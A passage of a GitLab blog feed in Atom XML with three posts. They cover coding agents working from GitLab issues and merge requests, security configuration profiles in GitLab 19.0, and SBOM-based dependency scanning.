You point the agent at the codebase and describe the problem in a prompt. The agent reads files, proposes a fix, and runs the build. The fix works, but it&#39;s only based on what the agent infers from local files and your prompt. It doesn&#39;t understand your organizational context: the issue&#39;s acceptance criteria, the non-functional requirements, or the review standards defined in your project&#39;s CI configuration. The code compiles, but it still might not be what your team needs.</p><p><img alt="Scenario 1. The agent only sees the repository" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1779986318/cykpoimst2bhiqxkmkyi.png" /></p><p><strong>Scenario 2: The agent sees the repository and the GitLab issue</strong><br />
Connect the <a href="https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_server/" rel="">GitLab MCP server</a>, and the agent can fetch the issue before writing any code. Now it reads the functional requirements, implementation notes, labels and milestones. In the Codex and GitLab tutorial, this means the agent adds <code>Closes #32</code> to the merge request description, because it understands the relationship between the code change and the issue. In the Claude Code tutorial, the agent uses <code>get_issue</code> to pull the bug report, then <code>create_merge_request</code> to file the MR with the right references. This time, the fix aligns to what the team planned.</p><p><img alt="Scenario 2. The agent sees the repository and the GitLab issue" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1779986319/wvbxpdm79ucuicyqmbhx.png" /></p><p><strong>Scenario 3: The agent works inside the merge request</strong><br />
Once the MR exists, <a href="https://docs.gitlab.com/user/duo_agent_platform/flows/foundational_flows/code_review/" rel="">GitLab&#39;s Code Review Flow</a> runs automatically and posts feedback. In both tutorials, the coding agent gets invoked as an <a href="https://docs.gitlab.com/user/duo_agent_platform/agents/external/" rel="">external agent</a> inside the MR to address the review feedback. It adds missing tests, updates documentation comments, and fixes validation gaps the review caught. The agent commits directly to the MR branch, CI/CD pipelines run automatically on the new commit, and a human reviewer can inspect the result without switching tools.</p><p>By this scenario, both tutorials demonstrate fewer review rounds and shorter time to merge.</p><p><img alt="Scenario 3. The agent works inside the merge request" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1779986318/wnijcgfsh06rrxkyex09.png" /></p><p><img alt="More Scenario 3. The agent works inside the merge request" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1779986318/sbybw7hs3dkbxplqblgj.png" /></p><h2 id="the-importance-of-agentic-coding-and-platform-visibility">The importance of agentic coding and platform visibility</h2><p>If you run a platform team, you&#39;re deciding how AI-assisted development works across your organization. You&#39;re defining which agents are allowed, what tools they can access, how output gets verified, and where human decisions get made in the process.</p><p>The agent needs context to produce changes that your organization can trust, and that context lives in your DevSecOps platform. Your issue tracker lists requirements. The <a href="https://docs.gitlab.com/topics/build_your_application/" rel="">CI/CD configuration</a> sets the quality bar. <a href="https://docs.gitlab.com/development/code_review/" rel="">Code review</a> instructions codify the team&#39;s style and standards. <a href="https://docs.gitlab.com/user/application_security/detect/" rel="">Security scanners</a> enforce vulnerability policy. And the merge request is where it all comes together — the final human gate.</p><p><img alt="Code review instructions" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1779986319/iq9yeutzn7qqzyl3wckf.png" /></p><p>An agent with platform context follows the same workflow that development teams use and within the same guardrails. The diff is in review cycles, pipeline pass rates, and time to merge.</p><p>An IDE or terminal-based agent, however capable, sees only the files you give it. The platform has access to the full lifecycle from the issue, pipeline, and security policy, to the deployment target and approval rules. That visibility gap is why your organization&#39;s platform, not the agent, determines what ships safely.</p><h2 id="the-impact-on-security-when-agents-produce-more-code">The impact on security when agents produce more code</h2><p>In all tutorials, CI/CD pipelines and code review run automatically on every merge request the coding agent creates. Security scanning is part of the pipelines, even if the tutorials focus on code quality rather than security findings. For platform teams, context becomes even more crucial when security is invoked.</p><p>Coding agents produce more code, faster. More code means more vulnerabilities introduced, more findings flagged by scanners, and more fix MRs generated.</p><ul><li><strong>Before</strong> AI coding agents entered the workflow, the bottleneck in vulnerability management was on the application security side: scan, prioritize findings, escalate important ones to developers, wait for a fix.</li><li><strong>Now</strong> with agents accelerating code production and remediation, the bottleneck shifts. The workflow advances from &quot;which vulnerability should we fix first&quot; to &quot;which AI-generated fix MR should a human review and approve first.&quot;</li></ul><p>That decision requires context the coding agent doesn&#39;t have: the broader project code, the complete data flow, the deployment target, and the security policies that apply across your organization.</p><ul><li><strong>With context</strong>, prioritization sharpens: An agent grounded in the surrounding code, data flow, and applicable policies can rank findings by real exposure in your environment rather than generic severity scores, surfacing what matters before reviewers spend cycles on it.</li></ul><p>Just as the coding agent in the second scenario produced better code when it could read the GitLab issue, the security layer produces better assessments when it can read the full application context rather than a single file.</p><p>GitLab&#39;s security layer analyzes findings with full project context, <a href="https://docs.gitlab.com/user/application_security/vulnerabilities/false_positive_detection/" rel="">filtering detected false positives</a> and flagging confirmed vulnerabilities. When a vulnerability is confirmed, <a href="https://docs.gitlab.com/user/application_security/vulnerabilities/agentic_vulnerability_resolution/" rel="">agentic SAST vulnerability resolution</a> reads the vulnerable code and surrounding context from the repository, and automatically creates a merge request with a proposed fix. The pipeline runs to validate the fix. A human reviewer inspects it and makes the final merge decision. The agent handles remediation; and the governance model stays intact.</p><p>CI/CD quality gates, code review instructions, and security scanning all operate in the merge request, which is also where coding agents do their work. <strong>The more effective those controls are at the point of code creation, the fewer vulnerabilities reach production.</strong></p><h2 id="custom-instructions-with-agentsmd">Custom instructions with <code>AGENTS.md</code></h2><p>Both tutorials rely on <code>AGENTS.md</code> files in the repository. These are <a href="https://docs.gitlab.com/user/duo_agent_platform/customize/agents_md/" rel="">custom instructions</a> for agents on how the project is structured, which commands to run, and what the code quality expectations are — including what not to touch.</p><p>In the Codex and GitLab tutorial, the <code>AGENTS.md</code> file defined everything from the Rust edition to the async concurrency pattern and CI image pinning policy. The agent didn&#39;t need context repeated in the prompt. It read the file and followed the rules.</p><p><img alt="Local toolchain setup" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1779986319/bciynqcmc1gumgcx4mjo.png" /></p><p>This one-time investment pays off across every agent interaction, whether your agent is running locally in a developer&#39;s terminal, connected via MCP, or operating as an external agent inside a merge request. Standardizing <code>AGENTS.md</code> across projects improves agent output quality, because every agent session, local or remote, reads the same rules.</p><h2 id="context-window-limits">Context window limits</h2><p>Large language models have finite context windows, and research from teams have shown that <a href="https://vercel.com/blog/we-removed-80-percent-of-our-agents-tools" rel="">model performance degrades as context utilization climbs past 30%–40%</a>. The more tools, files, and instructions packed into a session, the less reliably the agent reasons.</p><p>Your organization wants to give the agent rich lifecycle context: issue, review instructions, pipeline history, and security policy. But you also want to ensure the context is structured, relevant, and efficiently delivered.</p><p>Instead of having every agent session reconstruct context by reading files and making unnecessary API calls (diluting the context window and consuming tokens), a platform that understands the relationships between code, issues, pipelines, and deployments can provide the right context at the right time. GitLab captures many of these relationships across the lifecycle, positioning it to deliver context more efficiently. When the platform knows which issue a merge request addresses, which services the code change impacts, and which pipelines validate the result, it can deliver that knowledge as structured context rather than reassembling it from fragments.</p><p>The efficiency of your organization&#39;s AI-assisted development workflows depends on how well your platform delivers structured context, not on the size of your model&#39;s context window.</p><h2 id="agents-shorten-the-loop">Agents shorten the loop</h2><p>When a coding agent addresses review feedback inside a merge request, it acts on the review. The agent reads the feedback, makes requested changes, commits them, and lets CI/CD validate the result. The human reviewer still validates the outcome, approving or requesting further changes, making the final merge decision.</p><p>Approval rules, code owners, security policies, and audit trails all stay in place. The agent accelerates the revision cycle without bypassing the controls around it.</p><p>External agents in <a href="https://docs.gitlab.com/user/duo_agent_platform/agents/external/" rel="">GitLab Duo Agent Platform</a> can be further integrated with <a href="https://docs.gitlab.com/user/duo_agent_platform/triggers/" rel="">event triggers</a> and <a href="https://docs.gitlab.com/user/duo_agent_platform/flows/custom/" rel="">custom flows</a>, giving platform teams control over when and how agents perform in the workflow.</p><h2 id="how-to-get-started-with-agentic-coding">How to get started with agentic coding</h2><p>If you&#39;re evaluating how coding agents fit into your organization&#39;s development workflow:</p><p><strong>Pick a visible bug in a real project.</strong> Define the expected behavior in a GitLab issue with clear requirements. Move through the same progression the tutorials demonstrate: fix it locally with the agent working from the repository, connect GitLab MCP so the agent works from the issue, and use the agent as an external reviewer to address feedback in the merge request.</p><p><strong>Invest in <code>AGENTS.md</code>.</strong> Document how the repository works, which commands to pay attention to, and what the code quality expectations are. These instructions ensure higher quality agentic output that compounds over time as more agents and developers interact with the project.</p><p><strong>Watch context consumption.</strong> If agent sessions are slow, expensive, or producing shallow results, the problem is likely the context being fed to the model, not the model itself. Structured, relevant context delivered via platform integrations outperform raw file dumps.</p><p><strong>Review security coverage.</strong> As coding agents produce more merge requests across projects, check that every project is being scanned. Apply <a href="https://docs.gitlab.com/user/application_security/configuration/security_configuration_profiles/" rel="">Security Configuration Profiles</a> at the group level so scanners are enabled automatically, then use <a href="https://docs.gitlab.com/user/application_security/security_inventory/" rel="">Security Inventory</a> to confirm coverage and understand where vulnerabilities concentrate.</p><h2 id="get-started-with-agentic-coding-today">Get started with agentic coding today</h2><p>The organizations that get the most from agentic coding will be those with DevSecOps platforms that give agents the right context and controls to ship safely.</p><p>If you are not using GitLab Duo Agent Platform today, you can start with <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">a free trial</a>.</p><p>If you are already using GitLab in the Free tier, you can sign up for GitLab Duo Agent Platform by <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/#for-the-free-tier-on-gitlabcom" rel="">following these easy steps</a>.</p><p>And if you&#39;re an existing GitLab Premium or Ultimate subscriber, get started by <a href="https://docs.gitlab.com/user/duo_agent_platform/turn_on_off/" rel="">turning on Duo Agent Platform</a> and using the GitLab promotional credits <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/#included-credits" rel="">included in your subscription</a>.</p>]]></content>
        <author>
            <name>Jessica Taylor</name>
            <uri>https://about.gitlab.com/blog/authors/jessica-taylor/</uri>
        </author>
        <published>2026-05-28T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Full security scanner coverage of your codebase in minutes]]></title>
        <id>https://about.gitlab.com/blog/security-configuration-profiles/</id>
        <link href="https://about.gitlab.com/blog/security-configuration-profiles/"/>
        <updated>2026-05-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Across the industry, every CI/CD platform faces the same challenge: As organizations grow, manually configuring scanners to run across every pipeline definition file isn&#39;t scalable. AI is accelerating how fast teams ship code, and with this comes more projects, more pipelines, and more surface area to secure. What starts as a deliberate security decision becomes inherited configuration that nobody owns, coverage that was never backfilled, and gaps that are invisible until they aren&#39;t.</p><p>Security teams need to apply scanners at scale, not chase scanner coverage project by project with manual YAML files. A <a href="https://docs.gitlab.com/user/application_security/configuration/security_configuration_profiles/" rel="">security configuration profile</a> is a centralized setting in the UI where security teams can define how and when security scanners run across your projects, without manually configuring scanners across pipeline definition files. With GitLab 19.0, teams can use security configuration profiles to enable static application security testing (SAST), dependency scanning, and secret detection scanners across every project from day one.</p><p>Watch this video demonstration of security configuration profiles and then read more below.</p><figure className="video_container">
  <iframe src="https://www.youtube.com/embed/QbnLGzTEqGI?si=R1xO3Dlpj8JaFxsg" frameBorder="0" allowFullScreen="true"> </iframe></figure><h2 id="manual-enablement-cant-keep-up-with-ai-driven-code-velocity">Manual enablement can’t keep up with AI-driven code velocity</h2><p>At a small scale, manually enabling scanner configuration per project is workable. One team, a handful of repositories, a security engineer who knows where everything lives. The model gets harder to maintain as organizations add teams and projects, and AI is making the gap between code velocity and security coverage wider every day.</p><p>The drift shows up in common ways. Teams copy scanner configuration from whatever source is handy, so SAST ends up running with one ruleset in the backend service and another in the frontend. Dependency scanning gets added to new projects but never backfilled to older ones. Someone updates a <code>.gitlab-ci.yml</code> file to fix a pipeline issue and a scanner gets dropped along the way.</p><p>Without a centralized view, individual decisions about scanner coverage rarely add up to a consistent security posture across an organization.</p><h2 id="what-are-security-configuration-profiles">What are security configuration profiles?</h2><p>A security configuration profile is a centralized group of settings that defines how and when a security scanner runs across your projects. Instead of configuring SAST, secret detection, or dependency scanning individually in each project&#39;s <code>.gitlab-ci.yml</code>, you define a profile once at the group level and apply it to as many projects as you need in one action.</p><p>GitLab ships default profiles for each scanner: preconfigured settings that reflect recommended practice, so you can get scanning running across your projects in minutes without writing a line of YAML. For full technical details, see the <a href="https://docs.gitlab.com/user/application_security/configuration/security_configuration_profiles/" rel="">security configuration profiles documentation</a>.</p><h2 id="how-profiles-work-scan-triggers-and-coverage">How profiles work: Scan triggers and coverage</h2><p>Each default profile activates a set of scan triggers that define when scanning runs. For SAST and dependency scanning, two triggers apply.</p><p><strong>Merge request pipelines.</strong> A scan runs automatically each time new commits are pushed to a branch with an open merge request. Results are scoped to vulnerabilities introduced by that merge request, so developers get focused, actionable feedback without noise from pre-existing issues.</p><p><strong>Branch pipelines (default branch only).</strong> A scan runs automatically when changes are merged or pushed to the default branch, giving your security team a complete picture of your default branch&#39;s security posture at all times.</p><p>Secret detection includes both of those triggers and adds a third: push protection. Rather than waiting for a pipeline to run, push protection intercepts secrets in real time during the <code>git push</code> process and blocks the push before the secret ever enters your codebase. Because it&#39;s event-based rather than pipeline-based, there&#39;s no scan date attached to it in the security inventory.</p><h2 id="use-cases">Use cases</h2><p>Here are four real-world scenarios where security configuration profiles can be impactful.</p><p><strong>Standardizing coverage across a large group</strong><br />
A platform security team manages hundreds of projects spread across dozens of subgroups. The security inventory gives them a single view of scanner coverage across every project, including which are running SAST, which aren&#39;t, and which have failed scans. From that dashboard, the team selects all projects and applies the default profiles in a bulk action. Every project now runs SAST, secret detection, and dependency scanning on merge request and branch pipelines, without a single <code>.gitlab-ci.yml</code> edit.</p><p><strong>Catching a code-level vulnerability before it ships</strong><br />
A developer on a fast-moving team introduces an insecure deserialization pattern while building a new API endpoint. It&#39;s not malicious, just a mistake made under time pressure. With the SAST profile applied, a scan runs automatically when the team pushes commits to their merge request branch. The vulnerability is flagged before the merge request is approved, when it takes one developer an hour to fix rather than days of incident response after the fact.</p><p><strong>Catching a compromised dependency before it reaches production</strong><br />
A developer updates a dependency in their lockfile. The new version of a widely-used package has been compromised and carries a malicious payload. Dependency scanning runs automatically on the merge request pipeline and flags the compromised version before the branch is merged. The developer is notified at the point of the change, not after the package has been installed across build servers and production environments.</p><p><strong>Catching secrets before they land</strong><br />
A developer accidentally includes an API key in a commit while debugging a pipeline issue. It&#39;s a common mistake, and on a busy team it can go unnoticed for days. With the secret detection profile applied, push protection intercepts the push in real time and blocks it before the secret reaches the repository. The developer gets immediate feedback at the point of the mistake, with no security report, no incident ticket, and no credential rotation required.</p><h2 id="getting-started-from-zero-to-full-coverage-in-minutes">Getting started: From zero to full coverage in minutes</h2><p>Security configuration profiles are now available on GitLab Ultimate for GitLab.com, GitLab Self-Managed, and GitLab Dedicated instances. To apply default profiles across your projects:</p><ol><li>Go to <strong>Secure &gt; Security inventory</strong> for your group.</li><li>Select the projects you want to cover, or select all.</li><li>From the <strong>Bulk Action</strong> dropdown, choose <strong>Manage security scanners</strong>.</li><li>Select <strong>Apply default profile to all</strong>.</li></ol><p>To review coverage status after applying profiles, return to the security inventory and check the <strong>Tool Coverage</strong> column. A solid green bar indicates the scanner is fully active. A partial bar means some triggers are active but others are not. A gray bar means the scanner is not yet configured.</p><p>To view the full technical details of any profile, including its scan triggers and current status, select the profile name from the security inventory.</p><p>If your projects have existing scanner configuration in <code>.gitlab-ci.yml</code>, note that profile-based configuration and legacy configuration can coexist, but the security inventory tooltip may not reflect the combined status accurately during the transition. For the most accurate view of your current profile state, check the Security Configuration page for the individual project. For more, see the <a href="https://docs.gitlab.com/user/application_security/configuration/security_configuration_profiles/" rel="">security configuration profiles documentation</a>.</p><blockquote><p>Not yet on GitLab Ultimate? <a href="https://gitlab.com/-/trial_registrations/new" rel="">Start a free trial</a> and get SAST, secret detection, and dependency scanning running across your projects in minutes.</p></blockquote><h2 id="faq">FAQ</h2><p><strong>What is a security configuration profile?</strong><br />
A security configuration profile is a centralized set of settings that defines how and when a security scanner runs across your projects. Instead of configuring scanners manually in each project&#39;s <code>.gitlab-ci.yml</code>, you apply a profile once and it covers every project in the group.</p><p><strong>Which scanners have default profiles in GitLab 19.0?</strong><br />
GitLab 19.0 completes the first set of default profiles, adding <a href="https://docs.gitlab.com/releases/19/gitlab-19-0-released/#dependency-scanning-in-security-configuration-profiles" rel="">dependency scanning</a> alongside the <a href="https://docs.gitlab.com/releases/18/gitlab-18-10-released/#pipeline-secret-detection-in-security-configuration-profiles" rel="">secret detection</a> profile (expanding since 18.9) and the <a href="https://docs.gitlab.com/releases/18/gitlab-18-11-released/#sast-scanning-in-security-configuration-profiles" rel="">SAST profile</a> introduced in 18.11. Each profile activates a recommended set of scan triggers with no manual configuration required.</p><p><strong>What scan triggers does each profile activate?</strong><br />
The secret detection profile activates three triggers: push protection, merge request pipelines, and branch pipelines targeting the default branch. The SAST and dependency scanning profiles activate two triggers: merge request pipelines and branch pipelines targeting the default branch.</p><p><strong>Do profiles replace my existing <code>.gitlab-ci.yml</code> scanner configuration?</strong><br />
Not automatically. Profile-based and legacy configurations can coexist. If you want to rely solely on profile-based configuration, remove the relevant scanner configuration from your <code>.gitlab-ci.yml</code> files. The <a href="https://docs.gitlab.com/user/application_security/configuration/security_configuration_profiles/" rel="">Security Configuration</a> page for each project reflects the most accurate current state during any transition.</p><p><strong>What GitLab tier is required?</strong><br />
Security configuration profiles are available on GitLab Ultimate, across GitLab.com, GitLab Self-Managed, and GitLab Dedicated instances.</p><p><strong>Can I apply a profile to individual projects rather than an entire group?</strong><br />
Yes. From the security inventory, you can manage scanner coverage for individual projects by selecting the vertical ellipsis next to the project and choosing <strong>Manage tool coverage</strong>.</p><h2 id="read-more-about-whats-in-gitlab-190">Read more about what&#39;s in GitLab 19.0</h2><ul><li><a href="https://about.gitlab.com/blog/secrets-manager-in-public-beta/" rel="">Manage CI/CD credentials with GitLab Secrets Manager</a></li><li><a href="https://about.gitlab.com/blog/transform-mrs-to-automated-workflow/" rel="">Transform MRs from manual tasks to an automated workflow</a></li><li><a href="https://about.gitlab.com/blog/track-ci-component-usage/" rel="">Track CI component usage across your organization</a></li><li><a href="https://about.gitlab.com/blog/more-ai-models-for-duo-agent-platform-self-hosted/" rel="">More AI models for GitLab Duo Agent Platform Self-Hosted</a></li><li><a href="https://about.gitlab.com/blog/sbom-based-dependency-scanning/" rel="">Reduce supply chain risk with SBOM-based dependency scanning</a></li></ul>]]></content>
        <author>
            <name>Michael Omokoh</name>
            <uri>https://about.gitlab.com/blog/authors/michael-omokoh/</uri>
        </author>
        <published>2026-05-26T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Reduce supply chain risk with SBOM-based dependency scanning]]></title>
        <id>https://about.gitlab.com/blog/sbom-based-dependency-scanning/</id>
        <link href="https://about.gitlab.com/blog/sbom-based-dependency-scanning/"/>
        <updated>2026-05-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Third-party code dominates most codebases, and <a href="https://about.gitlab.com/blog/pipeline-security-lessons-from-march-supply-chain-incidents/" rel="">four recent supply chain incidents</a> show how a single compromised package can ripple into every project that depends on it. AI is compounding this problem: Research suggests nearly half of <a href="https://cset.georgetown.edu/publication/cybersecurity-risks-of-ai-generated-code/" rel="">AI-generated code contains vulnerabilities</a>.</p><p>Traditional dependency scanners, including GitLab&#39;s Gemnasium analyzer, were engineered to answer one question: Which of my declared packages have known CVEs? When dependency trees weren’t as deep and release cycles weren’t as fast, that approach worked.</p><p>Today’s application security teams must answer harder questions: How did a vulnerable package end up in the project? What else came with it? And which dependencies does your code actually reach? With GitLab 19.0, <a href="https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/" rel="">dependency scanning using a software bill of materials (SBOM)</a> becomes generally available to help answer these questions. This feature inventories every direct and transitive dependency in your project and tells you which vulnerable packages your application actually uses.</p><h2 id="how-gitlab-uncovers-vulnerable-dependencies">How GitLab uncovers vulnerable dependencies</h2><p>SBOM-based dependency scanning is a lightweight analyzer that detects vulnerabilities in your project&#39;s third-party libraries and packages. It catalogs dependencies in an SBOM and matches those components against the <a href="https://advisories.gitlab.com/" rel="">GitLab Advisory Database</a> to flag known issues.</p><p>GitLab surfaces findings where practitioners work. The vulnerabilities introduced by a change appear on the merge request, so developers can fix them before shipping. Findings are also shown in vulnerability dashboards and reports, so security teams can see results across every project in one place.</p><p><img alt="Dependency scanning report showing software bill of materials" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1779470339/hqqacbegzzompikjkcij.png" title="Dependency scanning report showing software bill of materials" /></p><p>The analyzer generates both an SBOM in <a href="https://cyclonedx.org/" rel="">CycloneDX</a> format and a dependency scanning report — machine-readable outputs you can use within GitLab, for compliance reporting, or in broader supply chain tooling.</p><h2 id="whats-possible-with-sbom-based-dependency-scanning">What’s possible with SBOM-based dependency scanning</h2><p>SBOM-based dependency scanning introduces capabilities that go beyond our Gemnasium-based analyzer:</p><p><strong>Trace transitive dependencies to their source.</strong> The analyzer traces transitive dependencies, no matter how deeply nested. When the analyzer flags a vulnerable package, it shows you the chain that brought it into your project. If <code>library-a</code> depends on <code>library-b</code>, which depends on the vulnerable <code>library-c</code>, you can trace that path and know where to intervene.</p><p><strong>Focus on vulnerabilities your code actually uses.</strong> Not every dependency included in manifest and build files runs in your application. For Java, JavaScript/TypeScript, and Python projects, the analyzer checks whether your code directly imports or requires vulnerable packages, distinguishing dependencies that are reachable from those that are pulled in transitively but never referenced by your application. GitLab surfaces reachability status on each finding, so teams can deprioritize vulnerabilities in packages their code never imports and focus remediation effort where exposure is plausible.</p><p><strong>Continuously scan for new vulnerabilities.</strong> Invoke the analyzer when new advisories are published, and for each MR and pipeline run. This matters most for projects where active development has slowed but the code is still in production.</p><h2 id="see-sbom-based-dependency-scanning-in-action">See SBOM-based dependency scanning in action</h2><figure className="video_container">
  <iframe src="https://www.youtube.com/embed/r_QjbNUqJT0?si=378NdrSve1GoFklm" frameBorder="0" allowFullScreen="true" title="
Dependency Scanning with SBOM GA - GitLab 19"> </iframe></figure><h2 id="supported-languages-and-file-formats">Supported languages and file formats</h2><p>This release <a href="https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#supported-languages-and-files" rel="">supports 24+ package ecosystems</a>, with more planned in future releases. Adding support for new languages and file formats is now simpler because the analyzer parses lockfiles and dependency graphs directly, rather than replicating each package manager&#39;s build toolchain.</p><p>When a supported lockfile or dependency graph isn&#39;t available, the analyzer falls back to parsing manifest files such as <code>pom.xml</code>, <code>requirements.txt</code>, and Gradle build files. This surfaces direct dependencies but not transitive ones, so coverage is less complete than a lockfile-based scan. Lockfiles remain the recommended approach, but manifest parsing gives teams a starting point for projects that don’t have one.</p><h2 id="configure-dependency-scanning-once-enforce-it-everywhere">Configure dependency scanning once, enforce it everywhere</h2><p>As project counts grow, manually configuring scanners across every project becomes a significant operational burden. Projects get skipped, configurations drift, and audits surface gaps no one knew existed.</p><p>GitLab 19.0 ships with a <a href="https://docs.gitlab.com/user/application_security/configuration/security_configuration_profiles/" rel="">security configuration profile</a> for dependency scanning. Security and platform teams configure scanning once and apply it across hundreds of projects, instead of editing each pipeline by hand.</p><p>You can mandate these security standards using <a href="https://docs.gitlab.com/user/application_security/policies/scan_execution_policies/" rel="">scan execution policies</a> and <a href="https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/" rel="">pipeline execution policies</a>. They allow teams to enforce dependency scanning across multiple projects without touching a single <code>.gitlab-ci.yml</code> file. By defining the requirement once at the group or instance level, the policy applies everywhere automatically.</p><h2 id="get-started-today">Get started today</h2><p>SBOM-based dependency scanning is available for GitLab Ultimate customers. The feature is live on GitLab.com and rolling out to GitLab Dedicated and self-managed customers on our standard release cadence.</p><p>Teams moving from the Gemnasium dependency scanner can run both analyzers side by side during the transition. The <a href="https://docs.gitlab.com/user/application_security/dependency_scanning/migration_guide_to_sbom_based_scans/" rel="">migration guide</a> walks you through the switch, including how to compare results between the two.</p><p>To start fresh, follow the step-by-step instructions in our <a href="https://docs.gitlab.com/tutorials/dependency_scanning_by_sbom/" rel="">set-up tutorial</a>. Our <a href="https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/" rel="">technical documentation</a> covers configuration, supported languages, and advanced options.</p><p>Please share your requests and ideas for dependency scanning in our <a href="https://gitlab.com/gitlab-org/gitlab/-/work_items/523458" rel="">feedback epic</a>.</p><h2 id="read-more-about-whats-in-gitlab-190">Read more about what&#39;s in GitLab 19.0</h2><ul><li><a href="https://about.gitlab.com/blog/secrets-manager-in-public-beta/" rel="">Manage CI/CD credentials with GitLab Secrets Manager</a></li><li><a href="https://about.gitlab.com/blog/transform-mrs-to-automated-workflow/" rel="">Transform MRs from manual tasks to an automated workflow</a></li><li><a href="https://about.gitlab.com/blog/track-ci-component-usage/" rel="">Track CI component usage across your organization</a></li><li><a href="https://about.gitlab.com/blog/more-ai-models-for-duo-agent-platform-self-hosted/" rel="">More AI models for GitLab Duo Agent Platform Self-Hosted</a></li><li><a href="https://about.gitlab.com/blog/security-configuration-profiles/" rel="">Full security scanner coverage of your codebase in minutes</a></li></ul>]]></content>
        <author>
            <name>Mark Settle</name>
            <uri>https://about.gitlab.com/blog/authors/mark-settle/</uri>
        </author>
        <author>
            <name>Joel Patterson</name>
            <uri>https://about.gitlab.com/blog/authors/joel-patterson/</uri>
        </author>
        <published>2026-05-26T00:00:00.000Z</published>
    </entry>
</feed>